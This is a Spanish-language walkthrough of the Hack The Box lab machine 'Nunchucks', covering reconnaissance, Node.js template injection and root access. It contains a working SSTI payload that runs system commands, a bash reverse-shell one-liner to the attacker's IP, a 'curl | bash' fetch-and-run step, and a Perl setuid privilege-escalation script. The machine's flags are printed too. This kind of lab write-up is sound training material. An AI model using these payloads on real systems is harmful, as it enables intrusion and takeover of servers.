Nunchucks [EASY🟢]

Dificultad: Fácil

1- Reconocimiento y escaneo

1.1 Ping

PING 10.10.11.122 (10.10.11.122) 56(84) bytes of data.
64 bytes from 10.10.11.122: icmp_seq=1 ttl=63 time=170 ms

--- 10.10.11.122 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 169.786/169.786/169.786/0.000 ms

Podemos notar que se trata de una maquina Linux, debido al TTL:

TTL <= 64 >>(Linux)
TTL <= 128 >> (Windows)

1.2 Nmap

┌──(root㉿t0mz)-[/home/kali/ctf/nunchucks]
└─# nmap -sS -sV -sC -p- -open --min-rate 5000 -Pn -vvv 10.10.11.122 -oN escaneo.txt
Starting Nmap 7.95 ( https://nmap.org ) at 2025-03-03 02:15 -03
NSE: Loaded 157 scripts for scanning.
NSE: Script Pre-scanning.
NSE: Starting runlevel 1 (of 3) scan.
Initiating NSE at 02:15
Completed NSE at 02:15, 0.00s elapsed
NSE: Starting runlevel 2 (of 3) scan.
Initiating NSE at 02:15
Completed NSE at 02:15, 0.00s elapsed
NSE: Starting runlevel 3 (of 3) scan.
Initiating NSE at 02:15
Completed NSE at 02:15, 0.00s elapsed
Initiating Parallel DNS resolution of 1 host. at 02:15
Completed Parallel DNS resolution of 1 host. at 02:15, 0.02s elapsed
DNS resolution of 1 IPs took 0.02s. Mode: Async [#: 2, OK: 0, NX: 1, DR: 0, SF: 0, TR: 1, CN: 0]
Initiating SYN Stealth Scan at 02:15
Scanning 10.10.11.122 [65535 ports]
Discovered open port 80/tcp on 10.10.11.122
Discovered open port 22/tcp on 10.10.11.122
Discovered open port 443/tcp on 10.10.11.122
Completed SYN Stealth Scan at 02:15, 14.59s elapsed (65535 total ports)
Initiating Service scan at 02:15
Scanning 3 services on 10.10.11.122
Warning: Hit PCRE_ERROR_MATCHLIMIT when probing for service http with the regex '^HTTP/1\.1 \d\d\d (?:[^\r\n]*\r\n(?!\r\n))*?.*\r\nServer: Virata-EmWeb/R([\d_]+)\r\nContent-Type: text/html; ?charset=UTF-8\r\nExpires: .*<title>HP (Color |)LaserJet ([\w._ -]+)&nbsp;&nbsp;&nbsp;'
Completed Service scan at 02:15, 13.48s elapsed (3 services on 1 host)
NSE: Script scanning 10.10.11.122.
NSE: Starting runlevel 1 (of 3) scan.
Initiating NSE at 02:15
Completed NSE at 02:15, 7.07s elapsed
NSE: Starting runlevel 2 (of 3) scan.
Initiating NSE at 02:15
Completed NSE at 02:16, 2.26s elapsed
NSE: Starting runlevel 3 (of 3) scan.
Initiating NSE at 02:16
Completed NSE at 02:16, 0.00s elapsed
Nmap scan report for 10.10.11.122
Host is up, received user-set (0.17s latency).
Scanned at 2025-03-03 02:15:22 -03 for 38s
Not shown: 65532 closed tcp ports (reset)
PORT    STATE SERVICE  REASON         VERSION
22/tcp  open  ssh      syn-ack ttl 63 OpenSSH 8.2p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 6c:14:6d:bb:74:59:c3:78:2e:48:f5:11:d8:5b:47:21 (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCq1JmckuJo2Y9YNiQEI6OM3uM/w5Nb9D6oOZkigNfQ5MY0FzdfAac2tfeV9JekpB0i3QvwaIg8ZFM3qpaVWgCYOwPKXDUdkPaDcjoUGDJKQ+ozI22JsGLhW18LdpZkqhsa9kSwID7hj6PjtJM0e7+t6oQlgbKBpAIfIWai8zcXfIuJpN5VzT9Ix7btb4yZ3DrSskDJsFgFpDMN3aDTCsCy2noKDm5mlUlJ7w28Qa6+Ju7JaSdyc0k6ftFQ1PImyLjoOefWp/5UxztBbWk191WJApoOJC0IUOz8kbbkCDEtIh7kwdX65uDJ86L+KGdlCPlB4svIpwhYgkkg7GAJXP9Ti7uZHsrxahbI6LZRLuX1X6guWaq/PPz8tmVfcjY7ggh1nAa+wUgU67X/zTie4J+BiJW3wGvGAiEetUs5fJ/CA/BIfQAijCVlJ4yGJ95cUmALeiRRYJJpq4BpZTC6RgUQIHr+Yv6wyKuVY9GPwdd2+SEuXG+jjim1SkqtErrlpuk=
|   256 a2:f4:2c:42:74:65:a3:7c:26:dd:49:72:23:82:72:71 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBAM6D7HHa0rYKxL/Crh7HeTDHOjrvQGyLngKIOz+M9iLI8+XkEpa0iPsGo4uob5Sj4iKN+QPjYwX2wfDUPb/3PA=
|   256 e1:8d:44:e7:21:6d:7c:13:2f:ea:3b:83:58:aa:02:b3 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAICav37LXta1VOXvC+x3kcTq8ssxpygmnuLwsPSOw2GA0
80/tcp  open  http     syn-ack ttl 63 nginx 1.18.0 (Ubuntu)
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to https://nunchucks.htb/
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
443/tcp open  ssl/http syn-ack ttl 63 nginx 1.18.0 (Ubuntu)
|_http-title: Nunchucks - Landing Page
|_http-server-header: nginx/1.18.0 (Ubuntu)
| ssl-cert: Subject: commonName=nunchucks.htb/organizationName=Nunchucks-Certificates/stateOrProvinceName=Dorset/countryName=UK/localityName=Bournemouth
| Subject Alternative Name: DNS:localhost, DNS:nunchucks.htb
| Issuer: commonName=Nunchucks-CA/countryName=US
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2021-08-30T15:42:24
| Not valid after:  2031-08-28T15:42:24
| MD5:   57fc:410d:e809:1ce6:82f9:7bee:4f39:6fe4
| SHA-1: 518c:0fd1:6903:75c0:f26b:a6cb:e37d:53b8:a3ff:858b
| -----BEGIN CERTIFICATE-----
| MIIDfzCCAmegAwIBAgIUKxAbJZWVom8Q586tlGzfX5kvDOowDQYJKoZIhvcNAQEL
| BQAwJDELMAkGA1UEBhMCVVMxFTATBgNVBAMMDE51bmNodWNrcy1DQTAeFw0yMTA4
| MzAxNTQyMjRaFw0zMTA4MjgxNTQyMjRaMG0xCzAJBgNVBAYTAlVLMQ8wDQYDVQQI
| DAZEb3JzZXQxFDASBgNVBAcMC0JvdXJuZW1vdXRoMR8wHQYDVQQKDBZOdW5jaHVj
| a3MtQ2VydGlmaWNhdGVzMRYwFAYDVQQDDA1udW5jaHVja3MuaHRiMIIBIjANBgkq
| hkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA7f8kUO3+Tg/tliYC6DTdaQMz8kQflhXE
| SFcXtvq0YW7+d83N1eHl1Cofk31roKIloTsWk+WvQfzBnzDT9Jlo2CT/c2Q8pxAD
| rJDvmrRlx5g6lGfB44/YUx1crjka44FPcwWbSUQ3RJznJ8jbD+mVuGXIK36BAd0l
| SYcIYbDwoE+7DTpP5FI+u8usIFyHo8CBllv6eXf2vOSAZ2xfyEG9fKC2fA3QOn9k
| kFQS7jM8QDnfi3El6nz2LkceIR6j4yCBTMP0306Q1h5HxzBRN61vHatbgZBHMuk5
| J6SU17lDk0ZWOAndm8GZ5oqXb1izqCI+br98gmNiDI3O8iXXD+WUXwIDAQABo2Aw
| XjAfBgNVHSMEGDAWgBTGviN/t7q7DX8/lk5dNecH/45EDjAJBgNVHRMEAjAAMAsG
| A1UdDwQEAwIE8DAjBgNVHREEHDAagglsb2NhbGhvc3SCDW51bmNodWNrcy5odGIw
| DQYJKoZIhvcNAQELBQADggEBAFBbtVQXf2UcbXroFdEjCGfjcAH9ftCFtCD8ptBm
| CMD8W/WyFnJ17IVjVoatfZimg5KunneNEHfMpxXe7+YMHY3qxgHmJCeVJA2l04hS
| PTWljwqfaK50zivBs7+TYTccZPz/F83upQsPVdWCIOtH3Qq9A4Ox+dLvIVA+geGH
| Bbp0uZowM3k/rW2nqBaBkpxOlHrahxgUr4Hz9/j4dilw/Y3OUEvegDN9D5Cvh69f
| pQ8UwDx0nqYtCRF/M44LFGlmgjQBZqqijvkCVV4jZRNfPQEeuxd7OnDddgQLwMK1
| DKIK3Eqo7fLLlXqQBQgg6X0UbN9RsWjD8vq1uc2iQDUH9To=
|_-----END CERTIFICATE-----
|_http-favicon: Unknown favicon MD5: 4BD6ED13BE03ECBBD7F9FA7BAA036F95
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
| tls-alpn: 
|_  http/1.1
| tls-nextprotoneg: 
|_  http/1.1
|_ssl-date: TLS randomness does not represent time
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

NSE: Script Post-scanning.
NSE: Starting runlevel 1 (of 3) scan.
Initiating NSE at 02:16
Completed NSE at 02:16, 0.00s elapsed
NSE: Starting runlevel 2 (of 3) scan.
Initiating NSE at 02:16
Completed NSE at 02:16, 0.00s elapsed
NSE: Starting runlevel 3 (of 3) scan.
Initiating NSE at 02:16
Completed NSE at 02:16, 0.00s elapsed
Read data files from: /usr/share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 38.47 seconds
           Raw packets sent: 71319 (3.138MB) | Rcvd: 71107 (2.844MB)

Se ven puertos como el 22(OpenSSH 8.2p1) correspondiente a un servidor SSH para control remoto vía consola de manera "segura", el puerto 80(nginx 1.18.0) correspondiente a un servidor web, y el puerto 443 correspondiente al puerto estándar para la comunicación segura entre un navegador web y un servidor web(HTTPS)

1.3 whatweb

Antes de realizar el escaneo de whatweb, vamos a hacer que la IP de la maquina de Hack The Box "10.10.11.122" apunte o haga la resolución DNS hacia "nunchucks.htb", para eso modificaremos el archivo "/etc/hosts":

┌──(root㉿t0mz)-[/home/kali/ctf/nunchucks]
└─# nvim /etc/hosts
                                                                                                                                                    
┌──(root㉿t0mz)-[/home/kali/ctf/nunchucks]
└─# cat /etc/hosts
127.0.0.1       localhost
127.0.1.1       t0mz


# HACK THE BOX
10.10.11.122    nunchucks.htb

# The following lines are desirable for IPv6 capable hosts
::1     localhost ip6-localhost ip6-loopback
ff02::1 ip6-allnodes
ff02::2 ip6-allrouters
                                                                                                                                                    
┌──(root㉿t0mz)-[/home/kali/ctf/nunchucks]
└─# 

De tal manera que ahora en whatweb podemos especificarle el domino "nunchucks.htb"

http://nunchucks.htb [301 Moved Permanently] Country[RESERVED][ZZ], HTTPServer[Ubuntu Linux][nginx/1.18.0 (Ubuntu)], IP[10.10.11.122], RedirectLocation[https://nunchucks.htb/], Title[301 Moved Permanently], nginx[1.18.0]
https://nunchucks.htb/ [200 OK] Bootstrap, Cookies[_csrf], Country[RESERVED][ZZ], Email[support@nunchucks.htb], HTML5, HTTPServer[Ubuntu Linux][nginx/1.18.0 (Ubuntu)], IP[10.10.11.122], JQuery, Script, Title[Nunchucks - Landing Page], X-Powered-By[Express], nginx[1.18.0]

Tenemos tecnologías web como:

Boostrap
nginx 1.18.0
JQuery

1.4 gobuster y Virtual Hosting

Para enumerar posibles subdominios que se encuentren dentro de "nunchucks.htb", vamos a utilizar gobuster con un diccionario que elegí dentro del repositorio de "SecLists"

subdomains-top1million-110000.txt

Vamos a utilizar la herramienta "wget" para bajarnoslo:

┌──(root㉿t0mz)-[/home/kali/ctf/nunchucks]
└─# wget https://raw.githubusercontent.com/danielmiessler/SecLists/refs/heads/master/Discovery/DNS/subdomains-top1million-110000.txt
--2025-03-03 02:31:23--  https://raw.githubusercontent.com/danielmiessler/SecLists/refs/heads/master/Discovery/DNS/subdomains-top1million-110000.txt
Resolviendo raw.githubusercontent.com (raw.githubusercontent.com)... 185.199.110.133, 185.199.111.133, 185.199.108.133, ...
Conectando con raw.githubusercontent.com (raw.githubusercontent.com)[185.199.110.133]:443... conectado.
Petición HTTP enviada, esperando respuesta... 200 OK
Longitud: 1115634 (1,1M) [text/plain]
Grabando a: «subdomains-top1million-110000.txt»

subdomains-top1million-110000.txt    100%[======================================================================>]   1,06M  --.-KB/s    en 0,1s    

2025-03-03 02:31:23 (9,36 MB/s) - «subdomains-top1million-110000.txt» guardado [1115634/1115634]

                                                                                                                                                    
┌──(root㉿t0mz)-[/home/kali/ctf/nunchucks]
└─# 

Y ahora vamos a ejecutar "gobuster" con el siguiente comando:

gobuster vhost -w subdomains-top1million-110000.txt -u https://nunchucks.htb/ -k
┌──(root㉿t0mz)-[/home/kali/ctf/nunchucks]
└─# gobuster vhost -w subdomains-top1million-110000.txt -u https://nunchucks.htb/ -k
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:             https://nunchucks.htb/
[+] Method:          GET
[+] Threads:         10
[+] Wordlist:        subdomains-top1million-110000.txt
[+] User Agent:      gobuster/3.6
[+] Timeout:         10s
[+] Append Domain:   false
===============================================================
Starting gobuster in VHOST enumeration mode
===============================================================
Found: store.nunchucks.htb (Status: 200) [Size: 4029]

Nos encontró el subdominio "store.nunchucks.htb", tambien para acceder al subdominio encontrado, es necesario agregarlo al archivo de "/etc/hosts":

┌──(root㉿t0mz)-[/home/kali/ctf/nunchucks]
└─# nvim /etc/hosts                                                                 
                                                                                                                                                    
┌──(root㉿t0mz)-[/home/kali/ctf/nunchucks]
└─# cat /etc/hosts                    
127.0.0.1       localhost
127.0.1.1       t0mz


# HACK THE BOX
10.10.11.122    nunchucks.htb store.nunchucks.htb

# The following lines are desirable for IPv6 capable hosts
::1     localhost ip6-localhost ip6-loopback
ff02::1 ip6-allnodes
ff02::2 ip6-allrouters
                                                                                                                                                    
┌──(root㉿t0mz)-[/home/kali/ctf/nunchucks]
└─# 

Y ahora si podemos acceder al subdominio:

1.5 whatweb a subdominio(store.nunchucks.htb)

http://store.nunchucks.htb [301 Moved Permanently] Country[RESERVED][ZZ], HTTPServer[Ubuntu Linux][nginx/1.18.0 (Ubuntu)], IP[10.10.11.122], RedirectLocation[https://nunchucks.htb/], Title[301 Moved Permanently], nginx[1.18.0]
https://nunchucks.htb/ [200 OK] Bootstrap, Cookies[_csrf], Country[RESERVED][ZZ], Email[support@nunchucks.htb], HTML5, HTTPServer[Ubuntu Linux][nginx/1.18.0 (Ubuntu)], IP[10.10.11.122], JQuery, Script, Title[Nunchucks - Landing Page], X-Powered-By[Express], nginx[1.18.0]

Podemos ver las siguientes tecnologias web dentro del subdominio:

Boostrap
nginx 1.18.0
JQuery

Tambien podemos hacer un reconocimiento de tecnologías web con la extensión de Wappalyzer

Para descárganos la extensión vamos a irnos a las extensiones de Firefox, en el siguiente boton:

Y vamos a buscar la extensión de Wappalyzer y dar ENTER:

Concretamente nos interesa la extensión mencionada:

Add to Firefox:

Add:

Ahora vamos de vuelta donde tenemos las extensiones de Firefox:

Vamos a darle en el engranaje y "Pin to Toolbar"

De tal manera que ahora podemos realizar el reconocimiento de tecnologías web con Wappalyzer, vamos a irnos al subdominio encontrado y vamos a ver que resultados nos da:

Podemos ver las diferentes tecnologías webs encontradas, entre ellas que la pagina esta programada con el lenguaje de programación "Node.js"

2- Explotación

2.1 SSTI(Server Side Template Injection)

Si nos vamos al subdomio "store.nunchucks.htb", veremos un formulario para suscribirnos a una newsletter de la pagina aparentemente, vamos a probar un correo random:

Es probable que como la entrada que ingrese dentro del formulario de correo electrónico, se ve reflejada de la misma manera en la pagina web, estemos frente a un SSTI o Server Side Template Injection

Así que vamos a probar algo simple, dentro del formulario vamos a ingresar lo siguiente:

{{2*2}}@test.com

Si la pagina nos devuelve el resultado de 2*2, entonces estaríamos ante un SSTI:

Podemos ver que verificamos que esta pagina web es vulnerable a SSTI

Si recordamos en el reconocimiento de tecnologías web de Wappalyzer, pudimos ver que el lenguaje de programación utilizado por este sitio web es "Node.js", entonces podríamos buscar un payload en GitHub que este realizado en "Node.js", en mi caso utilizare el siguiente payload:

{{range.constrcutor("return global.process.mainModule.require('child_process').execSync('tail /etc/passwd')")()}}

Vamos a ponerlo en la pagina del subdominio, aunque nos va a dar un error, ya que necesitamos ingresar un correo electrónico como tal, este código contiene muchos caracteres especiales entre otros:

Entonces ahora es cuando entra en juego Burp Suite para saltarnos la restricción del correo electrónico

Vamos a abrir Burp Suite y nos vamos a ir a la pestaña de "Proxy":

Vamos a ir a la configuración del proxy de Burp, en la subpestaña de "Proxy settings":

Vemos que el proxy, esta configurado con la IP 127.0.0.1 por el puerto 8080, pero en este caso no vamos a utilizar Firefox, ya que el trafico es HTTPS en el dominio "nunchucks.htb", si no que vamos a utilizar el propio navegador de Burp, si volvemos a la pestaña de "Proxy":

Vamos a darle "Open browser"

Y vamos a ingresar al subdominio correspondiente(Quitando el modo intercepción):

Y volvemos a activar el modo intercepción de Burp:

Ahora vamos a volver a la pagina del subdominio y vamos a intentar con un correo de prueba:

Y volvemos a Burp Suite:

Vemos que podemos modificar el siguiente campo:

{
    "email":"test@test.com"
}

Vamos a poner el payload, de tal manera que quedaria de la siguiente forma:

{
    "email":"{{range.constrcutor("return global.process.mainModule.require('child_process').execSync('tail /etc/passwd')")()}}@test.com"
}

CTRL + R para mandar la solicitud al repeater, y vamos a irnos a la pestaña de "Repeater":

Antes de darle a "Send", tenemos que escapar todo el payload, de tal manera que el payload quedaria de la siguiente manera:

{{range.constructor(\"return global.process.mainModule.require('child_process').execSync('tail /etc/passwd')\")()}}

De tal manera que la solicitud que enviamos quedaria de la siguiente forma:

POST /api/submit HTTP/1.1

Host: store.nunchucks.htb

Cookie: _csrf=CwxX8xrvJKCqkUXnawt27Rkw

Content-Length: 25

Sec-Ch-Ua-Platform: "Linux"

Accept-Language: es-419,es;q=0.9

Sec-Ch-Ua: "Chromium";v="133", "Not(A:Brand";v="99"

Content-Type: application/json

Sec-Ch-Ua-Mobile: ?0

User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36

Accept: */*

Origin: https://store.nunchucks.htb

Sec-Fetch-Site: same-origin

Sec-Fetch-Mode: cors

Sec-Fetch-Dest: empty

Referer: https://store.nunchucks.htb/

Accept-Encoding: gzip, deflate, br

Priority: u=1, i

Connection: keep-alive





{
    "email":"{{range.constructor(\"return global.process.mainModule.require('child_process').execSync('tail /etc/passwd')\")()}}@test.com"
}

Vamos a darle en "Send":

Podemos ver que nos muestra la información del archivo "/etc/passwd" de la maquina objetivo

Y si ahora cambiamos el comando de "tail /etc/passwd" por el comando "whoami"

{
    "email":"{{range.constructor(\"return global.process.mainModule.require('child_process').execSync('whoami')\")()}}@test.com"
}

Parece que somos el usuario "david"

2.2 Obtención de reverse shell mediante archivo HTML

Ahora vamos a obtener una reverse shell mediante la creación de un archivo .HTML malicioso que va a contener el siguiente codigo:

#!/bin/bash
bash -i >& /dev/tcp/{IP VPN HTB}/{Puerto netcat} 0>&1

En mi caso quedaria de la siguiente forma:

#!/bin/bash
bash -i >& /dev/tcp/10.10.14.12/443 0>&1

Vamos a crearlo y a visualizarlo:

┌──(root㉿t0mz)-[/home/kali/ctf/nunchucks]
└─# nvim index.html
                                                                                                                                                    
┌──(root㉿t0mz)-[/home/kali/ctf/nunchucks]
└─# cat index.html                     
#!/bin/bash
bash -i >& /dev/tcp/10.10.14.12/443 0>&1
                                                                                                                                                    
┌──(root㉿t0mz)-[/home/kali/ctf/nunchucks]
└─# 

Y ahora vamos a alojar un servidor web con Python dentro de nuestro Kali donde hayamos guardado el archivo .HTML malicioso:

┌──(root㉿t0mz)-[/home/kali/ctf/nunchucks]
└─# python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...

Y en otra consola de Kali, vamos a ponernos en escucha con netcat por el puerto 443:

┌──(root㉿t0mz)-[/home/kali/ctf/nunchucks]
└─# nc -nlvp 443   
listening on [any] 443 ...

Y volvemos a Burp Suite, al repeater, y vamos a bajarnos con "curl" el archivo malicioso .HTML que alojamos en nuestro servidor web con el siguiente comando:

curl {IP VPN HTB} | bash

En mi caso quedaria de la siguiente forma:

curl 10.10.14.12 | bash

Lo enviamos con "Send":

Se quedara cargando, pero si volvemos a la consola donde teniamos netcat en escucha por el puerto 443:

┌──(root㉿t0mz)-[/home/kali/ctf/nunchucks]
└─# nc -nlvp 443
listening on [any] 443 ...
connect to [10.10.14.12] from (UNKNOWN) [10.10.11.122] 41128
bash: cannot set terminal process group (1007): Inappropriate ioctl for device
bash: no job control in this shell
david@nunchucks:/var/www/store.nunchucks$ 

Ya tendriamos una reverse shell de la maquina objetivo

2.3 Obtención de la flag user

La flag de user se encuentra dentro de la ruta absoluta "/home/david/user.txt", vamos a visualizarla:

david@nunchucks:~$ cat /home/david/user.txt
cat /home/david/user.txt
2fce60f613d6536832b3fc661b507cef
david@nunchucks:~$ 

3- Escalado de privilegios

3.1 Capabilities en GNU/Linux

Para escalar los privilegios, primero necesitamos saber que podemos hacer con el usuario "david" que obtuvimos de la reverse shell, para eso vamos a utilizar el siguiente comando:

getcap -r / 2>/dev/null

Ejecutamos:

david@nunchucks:~$ getcap -r / 2>/dev/null
getcap -r / 2>/dev/null

/usr/bin/perl = cap_setuid+ep
/usr/bin/mtr-packet = cap_net_raw+ep
/usr/bin/ping = cap_net_raw+ep
/usr/bin/traceroute6.iputils = cap_net_raw+ep
/usr/lib/x86_64-linux-gnu/gstreamer1.0/gstreamer-1.0/gst-ptp-helper = cap_net_bind_service,cap_net_admin+ep
david@nunchucks:~$ 

3.2 LPE con Perl

Podemos ejecutar el lenguaje de programación Perl "/usr/bin/perl" con permisos "SETUID" por lo que podríamos utilizar un script en Perl para realizar una escalada de privilegios local(LPE),

En mi caso utilizare el siguiente código de Perl:

#!/usr/bin/perl
use POSIX qw(setuid);
POSIX::setuid(0);
exec "/bin/bash -p";

Vamos crearlo y a guardarlo como si fuera un script en bash, con extensión ".sh":

┌──(root㉿t0mz)-[/home/kali/ctf/nunchucks]
└─# nvim lpe.sh    
                                                                                                                                                    
┌──(root㉿t0mz)-[/home/kali/ctf/nunchucks]
└─# cat lpe.sh 
#!/usr/bin/perl
use POSIX qw(setuid);
POSIX::setuid(0);
exec "/bin/bash -p";
                                                                                                                                                    
┌──(root㉿t0mz)-[/home/kali/ctf/nunchucks]
└─# 

Y vamos a montarnos un servidor web en Python donde tengamos el script Bash para el LPE en nuestro Kali para descárganoslo dentro de la maquina objetivo:

┌──(root㉿t0mz)-[/home/kali/ctf/nunchucks]
└─# python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...

Y vamos a irnos a la reverse shell que obtuvimos, concretamente al directorio "/tmp"

david@nunchucks:/var/www/store.nunchucks$ cd /tmp
cd /tmp
david@nunchucks:/tmp$ 

Vamos a bajarnoslo con "wget":

wget {IP VPN HTB}/lpe.sh

En mi caso quedaria de la siguiente manera:

wget 10.10.14.12/lpe.sh

Ejecutamos:

david@nunchucks:/tmp$ wget 10.10.14.12/lpe.sh
wget 10.10.14.12/lpe.sh
--2025-03-03 07:30:14--  http://10.10.14.12/lpe.sh
Connecting to 10.10.14.12:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 77 [text/x-sh]
Saving to: ‘lpe.sh’

     0K                                                       100% 12.3M=0s

2025-03-03 07:30:15 (12.3 MB/s) - ‘lpe.sh’ saved [77/77]

david@nunchucks:/tmp$ 

Vamos a darle permisos totales con "chmod" al archivo que nos acabamos de bajar "lpe.sh":

david@nunchucks:/tmp$ chmod 777 lpe.sh  
chmod 777 lpe.sh
david@nunchucks:/tmp$ 

Y vamos a ejecutarlo:

david@nunchucks:/tmp$ ./lpe.sh
./lpe.sh
whoami
root

Ya somos usuarios root

Ahora vamos a obtener un prompt con el comando "script /dev/null -c bash":

david@nunchucks:/tmp$ ./lpe.sh
./lpe.sh
whoami
root
script /dev/null -c bash
Script started, file is /dev/null
root@nunchucks:/tmp# 

3.3 Tratamiento de la TTY

Vamos a realizar el tratamiento de la TTY para obtener una shell como dios manda :)

Vamos a ejecutar la combinación de teclas CTRL+Z una vez obtenido el prompt con el comando "script /dev/null -c bash":

root@nunchucks:/tmp# ^Z
zsh: suspended  nc -nlvp 443
                                                                                                                                                    
┌──(root㉿t0mz)-[/home/kali]
└─# 

Y vamos a ejecutar el siguiente comando:

stty raw -echo; fg

Ejecutamos:

┌──(root㉿t0mz)-[/home/kali]
└─# stty raw -echo; fg
[1]  + continued  nc -nlvp 443

Y ahora ejecutamos:

reset xterm

Ejecutamos y nos va a devolver a la reverse shell que obtuvimos con permisos root:

root@nunchucks:/tmp# 

Ahora vamos a exportar XTERM como TERM y BASH como consola, como variable de entorno:

root@nunchucks:/tmp# export SHELL=bash
root@nunchucks:/tmp# export TERM=xterm
root@nunchucks:/tmp# 

Para verificar que el tratamiento de la TTY se realizo correctamente, pondremos "echo $SHELL" o "echo $TERM":

root@nunchucks:/tmp# echo $SHELL
bash
root@nunchucks:/tmp# echo $TERM
xterm
root@nunchucks:/tmp# 

El tratamiento de la TTY corresponde hacerlo cuando debemos hacer muchas cosas con una reverse shell y necesitamos realizar algunas tareas como utilizar un editor de texto en consola, entre otras

3.4 Obtención de la flag root

La flag de root se encuentra dentro de la ruta absoluta "/root/root.txt", vamos a visualizarla:

root@nunchucks:/tmp# cat /root/root.txt
ab8e92b1d9d370b7eccb5ab3b1fb1e3b
root@nunchucks:/tmp# 

Con esto, concluimos la maquina "Nunchucks" de Hack The Box

Espero te haya sido de ayuda este Write Up :)

Si tuviste alguna dificultad a la hora de resolverlo, no olvides contactarme en mis redes sociales

Última actualización